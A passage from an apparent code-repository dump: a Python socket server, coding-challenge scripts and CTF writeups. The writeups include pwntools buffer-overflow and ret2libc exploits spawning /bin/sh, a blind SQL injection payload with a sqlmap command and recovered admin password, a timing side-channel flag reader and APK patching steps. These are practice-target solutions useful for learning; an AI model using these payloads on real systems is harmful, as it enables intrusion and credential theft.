new_connection is run by a client-assigned thread,\r\n # and it does wait for the client to send an order\r\n # that when parsed, will coincide with one of tge keys\r\n # of ord_dict, and so its value will be executed\r\n def new_connection(self, ip:str=None, port:int=None) -> None:\r\n logging.debug(f\"Server.new_connection(self, {ip}, {port})\")\r\n if(self.max_connections + 1 and len(self._client_from_addr) >= self.max_connections): return\r\n \r\n if(ip is None): ip = self.ip\r\n if(port is None): port = self.port\r\n\r\n self._connection.listen()\r\n \r\n listener, addr = self._connection.accept()\r\n \r\n logging.info(f\"Connected new user: {addr}\")\r\n \r\n self._client_from_addr[addr] = listener\r\n self.open[addr] = True\r\n\r\n if(self.threaded[1]):\r\n self._process_from_addr[addr] = Process(target=self.listen, args=(addr, listener))#, daemon=True)\r\n self._process_from_addr[addr].start()\r\n else: self.listen(addr,listener)\r\n \r\n # sendto (kind of) overloads socket.socket.sendto .\r\n # Given a message and an address, the server will\r\n # turn message into utf-8 formatted bytes, and it\r\n # will send it (if possible) to the client with the\r\n # given address\r\n def sendto(self, message:str, addr:tuple) -> \"iterable\":\r\n self._client_from_addr[addr].sendto(bytes(str(message), \"utf-8\"), addr)\r\n\r\n # sendall (kind of) overloads socket.socket.sendall .\r\n # Even if it is not tested, it theorically turns message\r\n # into utf-8 formatted bytes and sends it to all clients\r\n # in the socket server.\r\n def sendall(self, message:str):\r\n self._connection.sendall(bytes(str(message), \"utf-8\"))\r\n \r\n # listen will make use of listener to (if given one)\r\n # ask for a password, and then it will return a generator\r\n def listen(self, addr:tuple, listener:\"socket.socket\") -> \"generator[str]\":\r\n logging.debug(\"Client.listen(self)\")\r\n if(not self.open[addr]): return\r\n \r\n with listener:\r\n timeout = 0\r\n if(not self.password is None):\r\n wrong_att = 0\r\n accepted = False\r\n while(not accepted):\r\n password = listener.recv(1024)\r\n decoded_password = password.decode(\"utf-8\")\r\n if(password is None):\r\n timeout += 1\r\n if(timeout > 9): \r\n self.open[addr] = False\r\n break\r\n elif(decoded_password != ''):\r\n timeout = 0\r\n if(decoded_password == self.password):\r\n accepted = True\r\n del wrong_att\r\n del password\r\n del decoded_password\r\n else:\r\n wrong_att += 1\r\n if(wrong_att > 3):\r\n del wrong_att\r\n self.open[addr] = False\r\n break\r\n\r\n while(self.open[addr]):\r\n data = listener.recv(1024)\r\n decoded_data = data.decode(\"utf-8\")\r\n\r\n if(data is None):\r\n timeout += 1\r\n logging.debug(f\"Timeout of user {addr} increased to {timeout}\")\r\n if(timeout > 9): \r\n logging.warning(f\"User {addr} has disconnected\")\r\n break\r\n elif(decoded_data != ''):\r\n timeout = 0\r\n logging.info(f\"Recived data '{decoded_data}' from address {addr}\")\r\n \r\n self.parse_data(decoded_data, addr)\r\n\r\n del self._process_from_addr[addr]\r\n del self._client_from_addr[addr]\r\n del self.open[addr]\r\n \r\n \r\n # parse_data takes one string recieved from one client\r\n # and its address and executes (if found) any matches\r\n # separated by ';' in the string as keys in ord_dict\r\n # the functions in the values of the dict must take \r\n # addr as the first parameter even if unnecessary\r\n def parse_data(self, data:str, addr:str) -> None:\r\n #print(f\"parse_data {data}\")\r\n order = None\r\n args = (addr,)\r\n for arg in data.split(';'):\r\n new_ord = self.order_dict.get(arg.strip(), None)\r\n print(f\"arg:{arg}, new_ord:{new_ord}\")\r\n if(not new_ord is None):\r\n if(not order is None): \r\n print(f\"{order}{args}\")\r\n try:\r\n order(*args)\r\n except Exception as err: print(\"ERROR: {err}\")\r\n \r\n order = new_ord\r\n args = (addr,)\r\n \r\n elif(arg.strip() != ''): args+=(arg.strip(),)\r\n \r\n if(not order is None): \r\n print(f\"{order}{args}.\")\r\n try:\r\n order(*args)\r\n except Exception as err: print(f\"ERROR: {err}\")\r\n" } ]
7
CemreSuler/Coding-Challenges
https://github.com/CemreSuler/Coding-Challenges
e0337c1adfd69d7508eee6a6f7198343e5de9a09
bf5bb5dd510d558260c7f4189a4304eb81bca543
1ed1788646a30c26da612873b528e6b6cff644be
refs/heads/master
2022-04-15T08:26:12.548028
2020-03-27T14:13:58
2020-03-27T14:13:58
250,092,388
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.594269871711731, "alphanum_fraction": 0.6229205131530762, "avg_line_length": 32.84375, "blob_id": "28aef4654cb7ce16780f4db079e746d6f6f9b73e", "content_id": "9594484120c2dc5f826fd114fe520071e3170c66", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1082, "license_type": "no_license", "max_line_length": 109, "num_lines": 32, "path": "/Yahtzee/yahtzee.py", "repo_name": "CemreSuler/Coding-Challenges", "src_encoding": "UTF-8", "text": "# Made by: Cemre Süler\n# https://www.reddit.com/r/dailyprogrammer/comments/dv0231/20191111_challenge_381_easy_yahtzee_upper_section/\n\n#O(N^2) (slower)\ndef yahtzee_upper(throw):\n results = []\n for i in range(1,len(throw)+1):\n current_result = 0\n for x in range(len(throw)):\n if(i == throw[x]):\n current_result += i\n results.append(current_result)\n print(\"The maximum score possible for the throw \" + str(throw) + \" is \" + str(max(results)))\n\n#O(N) (faster)\ndef yahtzee_upper_efficient(throw):\n results = []\n for i in range(0,1000000000):\n results.append(0)\n for i in range(len(throw)):\n results[throw[i]] += throw[i]\n print(\"The maximum efficient score possible for the throw \" + str(throw) + \" is \" + str(max(results)))\n\nthrow_list = []\nfile = open (\"list.txt\", \"r\")\nfor item in file:\n throw_list.append(item)\nfor z in range(len(throw_list)):\n throw_list[z] = throw_list[z].replace('\\n', '')\nfor f in range(len(throw_list)):\n throw_list[f] = int(throw_list[f])\nyahtzee_upper_efficient(throw_list)" }, { "alpha_fraction": 0.6186440587043762, "alphanum_fraction": 0.6313559412956238, "avg_line_length": 39.317073822021484, "blob_id": "a34f0f00bc406d604500219e64d5749a93f48c25", "content_id": "c5d906b2ea9c9c97407bd4d8dea2e653f8762eb0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1652, "license_type": "no_license", "max_line_length": 128, "num_lines": 41, "path": "/Necklace/necklace.py", "repo_name": "CemreSuler/Coding-Challenges", "src_encoding": "UTF-8", "text": "# Made by: Cemre Süler\n# https://www.reddit.com/r/dailyprogrammer/comments/ffxabb/20200309_challenge_383_easy_necklace_matching/\nimport collections\n\ndef same_necklace(orig, new):\n orig_necklace = orig.lower()\n new_necklace = new.lower()\n is_same_necklace = False\n for i in range(len(orig_necklace)):\n orig_necklace = orig_necklace[-1:] + orig_necklace[:-1]\n if(orig_necklace == new_necklace):\n is_same_necklace = True\n print(\"Are they the same necklace: \" + str(is_same_necklace))\n\ndef rotate_necklace(necklace):\n orig_necklace = necklace.lower()\n rotated_necklace = orig_necklace\n repeats = 0\n for i in range(len(orig_necklace)):\n rotated_necklace = rotated_necklace[-1:] + rotated_necklace[:-1]\n if(rotated_necklace == orig_necklace):\n repeats += 1\n print(\"When rotating the letters on the necklace, the necklace will be the same as the original \" + str(repeats) + \" times\")\n\ndef check_word_list():\n word_list = []\n rotated_word_list = []\n file = open (\"enable1.txt\", \"r\")\n for item in file:\n word_list.append(item)\n for z in range(len(word_list)):\n word_list[z] = word_list[z].replace('\\n', '')\n for i in range(len(word_list)):\n orig_necklace = word_list[i]\n for x in range(len(orig_necklace)):\n orig_necklace = orig_necklace[-1:] + orig_necklace[:-1]\n rotated_word_list.append(orig_necklace)\n match_list = [item for item, count in collections.Counter(rotated_word_list).items() if count == 4]\n for g in range(len(match_list)):\n if(match_list[g] in word_list):\n print(match_list[g])" } ]
2
vermadev54/demopygit
https://github.com/vermadev54/demopygit
7af1c0d024c4538d5dbe5fd71395235e27deb0fb
9799ee4660514a6ca9dc0e6afef5fd5a97a4d681
23ec268ef08e4863ab3b96c1a77ea5eba9e70d98
refs/heads/master
2020-09-09T11:58:14.621423
2019-11-13T11:28:46
2019-11-13T11:28:46
221,441,284
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7045454382896423, "alphanum_fraction": 0.7045454382896423, "avg_line_length": 20.5, "blob_id": "cf892f263617861f17e29dd00d61abcbc5795800", "content_id": "05f009a2b6d14eae4cbb4dd7e5377cf81fd7c93b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 44, "license_type": "no_license", "max_line_length": 21, "num_lines": 2, "path": "/demo.py", "repo_name": "vermadev54/demopygit", "src_encoding": "UTF-8", "text": "print(\"Hi jainendra\")\nprint(\"code change\")\n\n" } ]
1
arunponnaiah/uploadtos3
https://github.com/arunponnaiah/uploadtos3
b7a516ad7f61a4e6b3c55579550892e959d8de5f
671e2f70bfeff896b48dfad5a86782854ac0415c
5afa2c8819f6878e4fe585c8b020c8030fcd165c
refs/heads/master
2021-01-10T13:58:22.673963
2015-12-08T00:04:52
2015-12-08T00:04:52
47,587,083
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6578657627105713, "alphanum_fraction": 0.6694169640541077, "avg_line_length": 26.545454025268555, "blob_id": "a1e1fce350009f39b148548001909503781ed2b5", "content_id": "dc00aed5d1615894960f20b56b0f39d6f09d4348", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1818, "license_type": "no_license", "max_line_length": 67, "num_lines": 66, "path": "/uploadtos3.py", "repo_name": "arunponnaiah/uploadtos3", "src_encoding": "UTF-8", "text": "#! /usr/bin/python\n\nimport tinys3,sys,glob,os,datetime,logging,logging.handlers\n\n# variables\nDIR = sys.argv[1]\nS3_PATH = sys.argv[2]\nAWS_ACCESS_KEY='AKIAJFMNNUBCUK7WDGGA'\nAWS_SECRET_KEY='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'\nFILE_TYPE='*.csv.gz'\nmy_logger = logging.getLogger('MyLogger')\n\n#logging\ndef initLogger(dir):\n if not os.path.exists(dir):\n os.mkdir(dir)\n LOG_FILENAME='./logs/uploadtos3.log'\n logging.basicConfig(level=logging.DEBUG,\n format='%(asctime)s %(levelname)s %(message)s',\n \t\t datefmt='%a, %d %b %Y %H:%M:%S',\n filename=LOG_FILENAME,\n filemode='w')\n # Add the log message handler to the logger\n handler = logging.handlers.RotatingFileHandler(\n LOG_FILENAME, maxBytes=1048576, backupCount=5)\n my_logger.addHandler(handler)\n\n\n# get AWS directory with current date\ndef getDatedS3directory():\n now = datetime.datetime.now()\n date = now.strftime(\"%Y-%m-%d\") \n return S3_PATH+date\n\n# file upload process\ndef upload():\n try:\n conn = tinys3.Connection(AWS_ACCESS_KEY,AWS_SECRET_KEY,tls=True)\n os.chdir(DIR)\n S3_PATH_WITH_DATE=getDatedS3directory()\n my_logger.debug( 'S3_PATH_WITH_DATE : %s' % S3_PATH_WITH_DATE)\n for filename in glob.glob(FILE_TYPE):\n f = open(filename,'rb')\n conn.upload(filename,f, S3_PATH_WITH_DATE)\n my_logger.debug('Uploaded :%s' % filename)\n my_logger.debug('Successfully uploaded all files from %s' % DIR)\n delete()\n except Exception as e:\n my_logger.error('Upload failed : %s' % e)\n\n# file delete process\ndef delete():\n try:\n os.chdir(DIR)\n for filename in glob.glob(FILE_TYPE):\n os.remove(filename)\n my_logger.debug('Deleted : %s' % filename)\n my_logger.debug('Successfully deleted all files from %S' % DIR)\n except Exception as e:\n my_logger.error('Delete failed :%s' %e)\n\ndef main():\n initLogger('./logs/')\n upload()\n\nmain()\n" }, { "alpha_fraction": 0.7647058963775635, "alphanum_fraction": 0.8039215803146362, "avg_line_length": 24.5, "blob_id": "de7a7287b48032e9b152e6c29803bf7d390a8733", "content_id": "2e02c4fa21489def65d24ed49de9e90707e8de23", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 51, "license_type": "no_license", "max_line_length": 37, "num_lines": 2, "path": "/README.md", "repo_name": "arunponnaiah/uploadtos3", "src_encoding": "UTF-8", "text": "# uploadtos3\nPython script uploads files to AWS s3\n" } ]
2
0d12245589/CTF-writeups
https://github.com/0d12245589/CTF-writeups
056739fcc153561ee5e3dd90806b8c46e317d0d3
70935ac4c252c60277c08978817fe23323c44307
5169ef713a2aa8532e026bc914c60209d7237f72
refs/heads/master
2022-10-14T22:01:16.684207
2020-06-13T22:20:22
2020-06-13T22:20:22
262,973,562
0
1
null
null
null
null
null
[ { "alpha_fraction": 0.5838728547096252, "alphanum_fraction": 0.596821665763855, "avg_line_length": 26.40322494506836, "blob_id": "f606b47c1903db347e3e7952a7c459dd005fb2e5", "content_id": "72b6af532afe64a1d2518fbe2952f61d3f206598", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1699, "license_type": "no_license", "max_line_length": 75, "num_lines": 62, "path": "/2020/SharkyCTF/PWN/Give_away_0/solve.py", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# This exploit template was generated via:\n# $ pwn template --host sharkyctf.xyz --port 20333 --path ./0_give_away\nfrom pwn import *\n\n# Set up pwntools for the correct architecture\ncontext.update(arch='i386')\nexe = context.binary = ELF('0_give_away')\n\n# Many built-in settings can be controlled on the command-line and show up\n# in \"args\". For example, to dump all data sent/received, and disable ASLR\n# for all created processes...\n# ./exploit.py DEBUG NOASLR\n# ./exploit.py GDB HOST=example.com PORT=4141\nhost = args.HOST or 'sharkyctf.xyz'\nport = int(args.PORT or 20333)\n\n\ndef local(argv=[], *a, **kw):\n '''Execute the target binary locally'''\n if args.GDB:\n return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)\n else:\n return process([exe.path] + argv, *a, **kw)\n\n\ndef remote(argv=[], *a, **kw):\n '''Connect to the process on the remote host'''\n io = connect(host, port)\n if args.GDB:\n gdb.attach(io, gdbscript=gdbscript)\n return io\n\n\ndef start(argv=[], *a, **kw):\n '''Start the exploit against the target.'''\n if args.LOCAL:\n return local(argv, *a, **kw)\n else:\n return remote(argv, *a, **kw)\n\n\n# Specify your GDB script here for debugging\n# GDB will be launched if the exploit is run via e.g.\n# ./exploit.py GDB\ngdbscript = '''\ncontinue\n'''.format(**locals())\n\n# ===========================================================\n# EXPLOIT GOES HERE\n# ===========================================================\n\nio = start()\n\noffset = 40\n\npayload = fit({offset: exe.symbols['win_func']})\nio.sendline(payload)\nio.sendline(\"cat flag.txt\")\nprint(io.recv())\n" }, { "alpha_fraction": 0.6026632189750671, "alphanum_fraction": 0.6207044720649719, "avg_line_length": 26.714284896850586, "blob_id": "cd4e13614d12441af49a60876a6e138e80b5c247", "content_id": "cdd7efc393b606511e96770faf1ed2d681badfa4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2328, "license_type": "no_license", "max_line_length": 75, "num_lines": 84, "path": "/2020/SharkyCTF/PWN/Give_away_1/solve.py", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# This exploit template was generated via:\n# $ pwn template --host sharkyctf.xyz --port 20334\nfrom pwn import *\n\n# Set up pwntools for the correct architecture\ncontext.update(arch='i386')\nexe = context.binary = ELF('./1_give_away')\ncontext.terminal = [\"xfce4-terminal\", \"-e\"]\n# Many built-in settings can be controlled on the command-line and show up\n# in \"args\". For example, to dump all data sent/received, and disable ASLR\n# for all created processes...\n# ./exploit.py DEBUG NOASLR\n# ./exploit.py GDB HOST=example.com PORT=4141\nhost = args.HOST or 'sharkyctf.xyz'\nport = int(args.PORT or 20334)\n\n\ndef local(argv=[], *a, **kw):\n '''Execute the target binary locally'''\n if args.GDB:\n return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)\n else:\n return process([exe.path] + argv, *a, **kw)\n\n\ndef remote(argv=[], *a, **kw):\n '''Connect to the process on the remote host'''\n io = connect(host, port)\n if args.GDB:\n gdb.attach(io, gdbscript=gdbscript)\n return io\n\n\ndef start(argv=[], *a, **kw):\n '''Start the exploit against the target.'''\n global libc\n if args.LOCAL:\n libc = ELF('/usr/lib32/libc.so.6')\n return local(argv, *a, **kw)\n else:\n libc = ELF('libc-2.27.so')\n return remote(argv, *a, **kw)\n\n\n# Specify your GDB script here for debugging\n# GDB will be launched if the exploit is run via e.g.\n# ./exploit.py GDB\ngdbscript = '''\nbreak vuln\ncontinue\n'''.format(**locals())\n\n# ===========================================================\n# EXPLOIT GOES HERE\n# ===========================================================\n\n\ndef send_payload(proc, payload):\n proc.sendline(payload)\n\n\nio = start()\n\noffset = 0x20+0x4 # buf offset\n\n# the giveaway is the address of system in libc\nsystem_ptr = int(io.recvline_startswith(\"Give away\")[-8:], 0x10)\n\n# calculating the base address for libc\nlibc.address = system_ptr-libc.sym['system']\n\n# we search for the address of \"/bin/sh\" string in libc\nbinsh_ptr = next(libc.search(b'/bin/sh'))\npayload = b'A'*offset\n\n# we call system and push the binsh pointer as an argument\npayload += p32(libc.symbols['system']) + p32(0xdeadbeef) + p32(binsh_ptr)\n\nsend_payload(io, payload)\n\nsend_payload(io, \"cat flag.txt\")\nprint(io.recv())\n" }, { "alpha_fraction": 0.6799414157867432, "alphanum_fraction": 0.7212298512458801, "avg_line_length": 37.806819915771484, "blob_id": "54b4f8100a0a30934e91d3e042a394159e36f9ab", "content_id": "d408533f3da09ac842c5b4a2757cf47bd0609cd2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3417, "license_type": "no_license", "max_line_length": 183, "num_lines": 88, "path": "/2020/SyriaCTF/admindata/README.md", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "# SyriaCTF – Admin Data\n\n### not solved\n* **Category:** Web Exploitation\n* **Points:** 100\n\n## Challenge\n\n> only admin can get the flag, can you be one?\n> http://ec2-54-93-124-219.eu-central-1.compute.amazonaws.com/admindata/\n\n## Solution \n\nThe home page looks like a template with nothing suspicious so we go straight to login.php\nwe try logging in with username:admin , password:admin to see what happens but nothing is really interesting yet.\nwe throw the challenge root into dirbuster with the ```dirbuster/directory-list-2.3-medium.txt``` as a wordlist to enumerate files:\n![scree](dirbuster1.png)\n\nand we find this nice file tree after some time\n\n![scree](dirbuster2.png)\n\ntwo interesting files appear here (profile.php and settings.php), we try to open them in browser but we are directed to the login page so we try to get them with curl and .. it works!\nwe find the following code in the html content of settings.php \n\n`<link rel=\"stylesheet\" type=\"text/javascript\" href=\"270cba471dcab9eb51c321da8d1953c6/newFolder/f!le.js\">`\n\nwe check that f!le:\n```\n// for developer: remember to change the function to GET request\n\nfunction getInfo(value){\n\n\tif (value == null){\n\n\t\talert(\"Please add a value here.\");\n\n\t}\n\n}\n\nfunction nothing(url = \"270cba471dcab9eb51c321da8d1953c6/newFolder/info.php\", data, success) {\n\n var params = typeof data == 'string' ? data : Object.keys(data).map(\n function(k){ return encodeURIComponent(k) + '=' + encodeURIComponent(data[k]) }\n ).join('&');\n\n var xhr = window.XMLHttpRequest ? new XMLHttpRequest() : new ActiveXObject(\"Microsoft.XMLHTTP\");\n xhr.open('POST', url);\n xhr.onreadystatechange = function() {\n if (xhr.readyState>3 && xhr.status==200) { success(xhr.responseText); }\n };\n xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');\n xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');\n xhr.send(params);\n return xhr;\n}\n\n// example request\n// nothing('http://foo.bar/', 'uname=User', function(data){ console.log(data); });\n```\nso we find what seems to be an api endpoint `270cba471dcab9eb51c321da8d1953c6/newFolder/info.php` \nand a comment saying `remember to change the function to GET request`\nso we get that page with GET parameter `uname=User` we get a result `Exist`, then we try `uname=admin` and we get the same result, \nfast forward ... we try `uname=uuu'or sleep(5) --' and here we have it! response was delayed 5 second so it looks like we can trigger a time based blind sql injection\n```\n$ ./sqlmap.py -u http://ec2-54-93-124-219.eu-central-1.compute.amazonaws.com/admindata/270cba471dcab9eb51c321da8d1953c6/newFolder/info.php?uname=User --dump --level=3 --risk=2\n```\nit found that the `uname` parameter is vulnerable. it takes some time to retrieve the whole database :(\n![scree](sqlmap.png)\n\nso we have the admin password, let's go login.\nwe login as admin\n```\n$ curl -XPOST http://ec2-54-93-124-219.eu-central-1.compute.amazonaws.com/admindata/login.php -d\"username=admin&password=G3t_in_Admin_Z0ne\" -i\n```\nwe find an interesting header in the HTTP response `Location: getflag.php`\nso let's get it!\n```\n$ curl http://ec2-54-93-124-219.eu-central-1.compute.amazonaws.com/admindata/getflag.php\n\n<script>alert('it\\'s not easy, try hard.');</script>FLAG{5ql_!njection_L0L}\n```\nand there we have it!!\n\nflag: `FLAG{5ql_!njection_L0L}`\n\n(not) solved by t0mcr8se (while sliding over cars)\n" }, { "alpha_fraction": 0.41802066564559937, "alphanum_fraction": 0.4475627839565277, "avg_line_length": 18.314285278320312, "blob_id": "a93c3d74e0cd27942b628fadf4c8c54688939c93", "content_id": "9daa5dacd095b50309f29bec29f9d693e222660b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 677, "license_type": "no_license", "max_line_length": 67, "num_lines": 35, "path": "/2020/TJCTF/reversing/chord_encoder/solve.py", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "f = open('notes.txt').read()\n\nl = {'A':'1', 'B':'2', 'C':'3', 'D':'4', 'E':'5', 'F':'6', 'G':'7'}\nchords = {}\nfor i in open('chords.txt').readlines():\n c, n = i.strip().split()\n if c in l: c = l[c]\n chords[n] = c\n\nss = \"\"\nres = []\n\ndef BT(i):\n global ss,res\n if i == len(f):\n res.append(ss)\n return\n elif i > len(f):\n return\n\n # trying to take 3 chars\n if f[i:i+3] in chords:\n ss += chords[f[i:i+3]]\n BT(i+3)\n ss = ss[:-1]\n\n # trying to take 4 chars\n if f[i:i+4] in chords:\n ss += chords[f[i:i+4]]\n BT(i+4)\n ss = ss[:-1]\n\nBT(0)\nres = res[0]\nprint(bytes.fromhex(res).decode('utf-8'))\n\n" }, { "alpha_fraction": 0.7627627849578857, "alphanum_fraction": 0.7732732892036438, "avg_line_length": 50.30769348144531, "blob_id": "04811cb19ec9a8b9aeebaec3f06295ce2af1037a", "content_id": "0bfddef29b04ab7af795f68adeb945fa2f827ad2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 668, "license_type": "no_license", "max_line_length": 340, "num_lines": 13, "path": "/2020/SyriaCTF/dega/README.md", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "# SyriaCTF – Dega\n\n* **Category: Digital Forensics\n* **Points: 200\n\n## Solution\n\nThe solution.\n\nWe exported the objects from the pcap file and browse through them and we deleted all of the html files then we noticed that there is some base64 code divided into parts each part in a file....\nWe wrote a script [filter.py](filter.py) and extracted the parts and merged them together. then we urldecode it because we noticed some url encoded characters, after that we got a json file with a field called payload. Again with base64 we find another json file.. so we recursivly decode the json files to get the flag [solve.py](solve.py)\n\nsolved by jeebaleepa and thecarrot" }, { "alpha_fraction": 0.5562341213226318, "alphanum_fraction": 0.5786259770393372, "avg_line_length": 29.6875, "blob_id": "d0bb41962a01a334dc8f4ffce0a4cb0df9f1dab9", "content_id": "930483bc89731dc0483c6686a65b97005871c523", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1965, "license_type": "no_license", "max_line_length": 116, "num_lines": 64, "path": "/2020/TJCTF/misc/timed/solve.py", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# This exploit template was generated via:\n# $ pwn template --host p1.tjctf.org --port 8005\nfrom pwn import *\nimport string\n# Set up pwntools for the correct architecture\ncontext.update(arch='i386')\nexe = './path/to/binary'\n\n# Many built-in settings can be controlled on the command-line and show up\n# in \"args\". For example, to dump all data sent/received, and disable ASLR\n# for all created processes...\n# ./exploit.py DEBUG NOASLR\n# ./exploit.py GDB HOST=example.com PORT=4141\nhost = args.HOST or 'p1.tjctf.org'\nport = int(args.PORT or 8005)\n\ndef local(argv=[], *a, **kw):\n '''Execute the target binary locally'''\n if args.GDB:\n return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)\n else:\n return process([exe] + argv, *a, **kw)\n\ndef remote(argv=[], *a, **kw):\n '''Connect to the process on the remote host'''\n io = connect(host, port)\n if args.GDB:\n gdb.attach(io, gdbscript=gdbscript)\n return io\n\ndef start(argv=[], *a, **kw):\n '''Start the exploit against the target.'''\n if args.LOCAL:\n return local(argv, *a, **kw)\n else:\n return remote(argv, *a, **kw)\n\n# Specify your GDB script here for debugging\n# GDB will be launched if the exploit is run via e.g.\n# ./exploit.py GDB\ngdbscript = '''\ncontinue\n'''.format(**locals())\n\n#===========================================================\n# EXPLOIT GOES HERE\n#===========================================================\nio = start()\nflag = ''\nfor i in range(100):\n for c in \"qwertyuioplkjhgfdsazxcvbnmQWERTYUIOPLKJHGFDSAZXCVBNM{}_0123456789\":\n io.sendline(\"if open('flag.txt').read(100)[\" + str(i) + \"] == '\" + c + \"': x = [y for y in range(1000000)]\")\n resp = b'e' not in io.recvline_startswith(\"Runtime: \")[10:]\n\n if resp:\n flag += c\n print(flag)\n break\n if flag[-1] == '}': break\n\nprint(flag)\nio.interactive()\n\n" }, { "alpha_fraction": 0.6590909361839294, "alphanum_fraction": 0.6875, "avg_line_length": 12.615385055541992, "blob_id": "2eab9ce4d32b85d893e66e9c2be36b1ea7d00355", "content_id": "756111ed8b503a80c96cd5b0c008bec8359bfeb9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 178, "license_type": "no_license", "max_line_length": 48, "num_lines": 13, "path": "/2020/SyriaCTF/seafood/README.md", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "# SyriaCTF – seafood\n\n* **Category:** General Info\n* **Points:** 25\n\nI just tried shell without reading the challenge\nwhat else could it be :P\n\n```\nshell\n```\n\nsolved by b4n4n4s" }, { "alpha_fraction": 0.7011018991470337, "alphanum_fraction": 0.752754807472229, "avg_line_length": 30.565217971801758, "blob_id": "74ac43bfc57611937ce71d94612745862b458920", "content_id": "47d793eba5005765ea0164336426d16329081799", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1454, "license_type": "no_license", "max_line_length": 280, "num_lines": 46, "path": "/2020/TJCTF/binary/el_primo/README.md", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "# TJCTF – El Primo\n\n* **Category:** binary\n* **Points:** 60\n\n## Challenge\n\n> My friend just started playing Brawl Stars and he keeps raging because he can't beat El Primo! Can you help him?\n>\n> Attachments:\n> > binary\n> >\n> > nc p1.tjctf.org 8011\n\n## Solution\n\nok this time we have a pie protected 32-bit binary :\n\n![screenshot](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/binary/el_primo/images/screenshot1.png)\n\nhmmm lets run and reverse the binary to see what we can do :\n\n![screenshot](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/binary/el_primo/images/screenshot2.png)\n\n![screenshot](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/binary/el_primo/images/screenshot3.png)\n\ncool, it seems that this hint is the address of the input in the stack, but wait we can't just overflow and inject a shellcode because of the last couple instructions :\n\nit pops ecx from the stack, then it changes esp to ecx-4, so we have to let it pop the address of the intended return address in the stack+4 so it gets subtracted by 4 then the stack pointer points to the intended return address which then the retn instruction pops and returns to\n\nI hope you understand what I just wrote :P\n\npayload :\n```\noffset\nhint+offset+4\nhint+offset+16\nnop sleds\nshellcode\n```\n\nhere's my [script](https://github.com/0d12245589/CTF-writeups/raw/master/2020/TJCTF/binary/el_primo/solve.py)\n\n```\ntjctf{3L_PR1M0O0OOO!1!!}\n```\n" }, { "alpha_fraction": 0.7286432385444641, "alphanum_fraction": 0.7487437129020691, "avg_line_length": 25.566667556762695, "blob_id": "bf252a198040f8084098bf38ced06a9eb2748d1e", "content_id": "8b3c1c25c6390ee80b9ec8324d982654db71667d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 798, "license_type": "no_license", "max_line_length": 98, "num_lines": 30, "path": "/2020/SyriaCTF/HookMe/README.md", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "# SyriaCTF – HookMe\n\n* **Category:** Malware Reverse Engineering\n* **Points:** 100\n\nwe open the apk file in jadx :\n\n![scree](screenshot1.png)\n\nwe see that the function that is necessary for creating the flag will not run because i is not 256\n\nso unpacked the apk using apktool : `apktool d HookMe.apk`\n\nthen I edited the smali file to change i value to 256 then I rebuild the apk : `apktool b HookMe`\n\nbut the apk didn't work because it was not signed\n\nafter hours of research I found a way to generate a key and get the apk signed :\n\n`keytool -genkey -keystore my-release-key.keystore -alias key0`\n\n`jarsigner -keystore my-release-key.keystore HookMe.apk key0`\n\nthen after running the apk on an emulator it spits out the flag\n\n![scree](screenshot2.png)\n\nno actually I don't :)\n\nsolved by b4n4n4s" }, { "alpha_fraction": 0.30177515745162964, "alphanum_fraction": 0.3491124212741852, "avg_line_length": 17.77777862548828, "blob_id": "ff7437c8e029202b825cfd7ada5897253cad0c8b", "content_id": "c6db5cba6652ec66433e85e0c3ec096d43b0bbc9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 338, "license_type": "no_license", "max_line_length": 43, "num_lines": 18, "path": "/2020/SyriaCTF/dega/filter.py", "repo_name": "0d12245589/CTF-writeups", "src_encoding": "UTF-8", "text": "p = open(\"out.txt\",\"w+\")\nfor i in range(201):\n if i%2==1:\n continue\n if i == 0:\n f = open('%'+\"2f\",\"r\")\n else:\n f = open('%'+'2f(%s)'%(str(i)),\"r\")\n s = f.read()\n s = str(s)\n if i >= 200:\n s = s[4:]\n elif i >= 20:\n s = s[3:]\n else:\n s = s[2:]\n p.write(s)\n f.close()\n" }, { "alpha_fraction": 0.674090564250946, 